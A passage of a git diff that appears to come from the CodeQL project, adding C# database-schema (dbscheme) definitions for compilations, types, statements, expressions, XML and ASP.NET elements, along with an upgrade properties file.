@late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr + | @assign_op_call_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +lambda_expr_return_type( + unique int id: @lambda_expr ref, + int type_id: @type_or_ref ref); + +/* Compiler generated */ + +compiler_generated(unique int id: @element ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr | @parameter; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); diff --git a/csharp/downgrades/d13c4c187d7318fd2b8f35c7e8d7f4dc26be68b1/upgrade.properties b/csharp/downgrades/d13c4c187d7318fd2b8f35c7e8d7f4dc26be68b1/upgrade.properties new file mode 100644 index 00000000000..85b8a1e6c23 --- /dev/null +++ b/csharp/downgrades/d13c4c187d7318fd2b8f35c7e8d7f4dc26be68b1/upgrade.properties @@ -0,0 +1,2 @@ +description: Restructure and rename types related to operations. +compatibility: full diff --git a/csharp/ql/lib/upgrades/3cabc77473cbbda95edebafea345c2e3fdfa12d9/old.dbscheme b/csharp/ql/lib/upgrades/3cabc77473cbbda95edebafea345c2e3fdfa12d9/old.dbscheme new file mode 100644 index 00000000000..3cabc77473c --- /dev/null +++ b/csharp/ql/lib/upgrades/3cabc77473cbbda95edebafea345c2e3fdfa12d9/old.dbscheme @@ -0,0 +1,1505 @@ +/* This is a dummy line to alter the dbscheme, so we can make a database upgrade + * without actually changing any of the dbscheme predicates. It contains a date + * to allow for such updates in the future as well. + * + * 2021-07-14 + * + * DO NOT remove this comment carelessly, since it can revert the dbscheme back to a + * previously seen state (matching a previously seen SHA), which would make the upgrade + * mechanism not work properly. + */ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +compilation_info( + int id : @compilation ref, + string info_key: string ref, + string info_value: string ref +) + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | f1.cs + * 3 | f2.cs + * 4 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The expanded arguments that were passed to the extractor for a + * compiler invocation. This is similar to `compilation_args`, but + * for a `@someFile.rsp` argument, it includes the arguments from that + * file, rather than just taking the argument literally. + */ +#keyset[id, num] +compilation_expanded_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +compilation_assembly( + unique int id : @compilation ref, + int assembly: @assembly ref +) + +// Populated by the CSV extractor +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Overlay support + */ + +/** + * The CLI will automatically emit the tuple `databaseMetadata("isOverlay", "true")`, + * along with an `overlayChangedFiles` tuple for each new/modified/deleted file, + * when building an overlay database, and these can be used by the discard predicates. + */ +databaseMetadata( + string metadataKey : string ref, + string value : string ref +); + +overlayChangedFiles( + string path : string ref +); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @externalDataElement + | @xmllocatable | @asp_element | @namespace | @preprocessor_directive; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function | @lambda_expr; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +@locatable = @declaration_with_accessors | @callable_accessor | @declaration_or_directive + | @diagnostic | @extractor_message | @preprocessor_directive | @attribute | @type_mention | @type_parameter_constraints + | @declaration_with_accessors | @callable_accessor | @operator | @method + | @constructor | @destructor | @field | @local_variable | @parameter | @stmt | @expr + | @xmllocatable | @commentline | @commentblock | @asp_element + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +locations_mapped( + unique int id: @location_default ref, + int mapped_to: @location_default ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +files( + unique int id: @file, + string name: string ref); + +folders( + unique int id: @folder, + string name: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_global( + unique int id: @using_directive ref +); + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +@preprocessor_directive = @pragma_warning | @pragma_checksum | @directive_define | @directive_undefine | @directive_warning + | @directive_error | @directive_nullable | @directive_line | @directive_region | @directive_endregion | @directive_if + | @directive_elif | @directive_else | @directive_endif; + +@conditional_directive = @directive_if | @directive_elif; +@branch_directive = @directive_if | @directive_elif | @directive_else; + +directive_ifs( + unique int id: @directive_if, + int branchTaken: int ref, /* 0: false, 1: true */ + int conditionValue: int ref); /* 0: false, 1: true */ + +directive_elifs( + unique int id: @directive_elif, + int branchTaken: int ref, /* 0: false, 1: true */ + int conditionValue: int ref, /* 0: false, 1: true */ + int parent: @directive_if ref, + int index: int ref); + +directive_elses( + unique int id: @directive_else, + int branchTaken: int ref, /* 0: false, 1: true */ + int parent: @directive_if ref, + int index: int ref); + +#keyset[id, start] +directive_endifs( + unique int id: @directive_endif, + unique int start: @directive_if ref); + +directive_define_symbols( + unique int id: @define_symbol_expr ref, + string name: string ref); + +directive_regions( + unique int id: @directive_region, + string name: string ref); + +#keyset[id, start] +directive_endregions( + unique int id: @directive_endregion, + unique int start: @directive_region ref); + +directive_lines( + unique int id: @directive_line, + int kind: int ref); /* 0: default, 1: hidden, 2: numeric, 3: span */ + +directive_line_value( + unique int id: @directive_line ref, + int line: int ref); + +directive_line_file( + unique int id: @directive_line ref, + int file: @file ref); + +directive_line_offset( + unique int id: @directive_line ref, + int offset: int ref); + +directive_line_span( + unique int id: @directive_line ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +directive_nullables( + unique int id: @directive_nullable, + int setting: int ref, /* 0: disable, 1: enable, 2: restore */ + int target: int ref); /* 0: none, 1: annotations, 2: warnings */ + +directive_warnings( + unique int id: @directive_warning, + string message: string ref); + +directive_errors( + unique int id: @directive_error, + string message: string ref); + +directive_undefines( + unique int id: @directive_undefine, + string name: string ref); + +directive_defines( + unique int id: @directive_define, + string name: string ref); + +pragma_checksums( + unique int id: @pragma_checksum, + int file: @file ref, + string guid: string ref, + string bytes: string ref); + +pragma_warnings( + unique int id: @pragma_warning, + int kind: int ref /* 0 = disable, 1 = restore */); + +#keyset[id, index] +pragma_warning_error_codes( + int id: @pragma_warning ref, + string errorCode: string ref, + int index: int ref); + +preprocessor_directive_location( + unique int id: @preprocessor_directive ref, + int loc: @location ref); + +preprocessor_directive_compilation( + int id: @preprocessor_directive ref, + int compilation: @compilation ref); + +preprocessor_directive_active( + unique int id: @preprocessor_directive ref, + int active: int ref); /* 0: false, 1: true */ + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type +| 33 = @function_pointer_type +| 34 = @inline_array_type +| 35 = @extension_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type | @void_type | @inline_array_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type | @extension_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +function_pointer_return_type( + unique int function_pointer_id: @function_pointer_type ref, + int return_type_id: @type_or_ref ref); + +extension_receiver_type( + unique int extension: @extension_type ref, + int receiver_type_id: @type_or_ref ref); + +extend( + int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int kind: int ref, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +case @attribute.kind of + 0 = @attribute_default +| 1 = @attribute_return +| 2 = @attribute_assembly +| 3 = @attribute_module +; + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic | @function_pointer_type; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** FUNCTION POINTERS */ + +function_pointer_calling_conventions( + int id: @function_pointer_type ref, + int kind: int ref); + +#keyset[id, index] +has_unmanaged_calling_conventions( + int id: @function_pointer_type ref, + int index: int ref, + int conv_id: @type_or_ref ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event | @operator; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer | @function_pointer_type | @extension_type; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, params/array = 3, this = 4, in = 5, ref readonly = 6 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +@has_scoped_annotation = @local_scope_variable + +scoped_annotation( + int id: @has_scoped_annotation ref, + int kind: int ref // scoped ref = 1, scoped value = 2 + ); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +foreach_stmt_info( + unique int id: @foreach_stmt ref, + int kind: int ref /* non-async = 1, async = 2 */); + +@foreach_symbol = @method | @property | @type_or_ref; + +#keyset[id, kind] +foreach_stmt_desugar( + int id: @foreach_stmt ref, + int symbol: @foreach_symbol ref, + int kind: int ref /* GetEnumeratorMethod = 1, CurrentProperty = 2, MoveNextMethod = 3, DisposeMethod = 4, ElementType = 5 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter | @directive_if | @directive_elif; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @utf16_string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 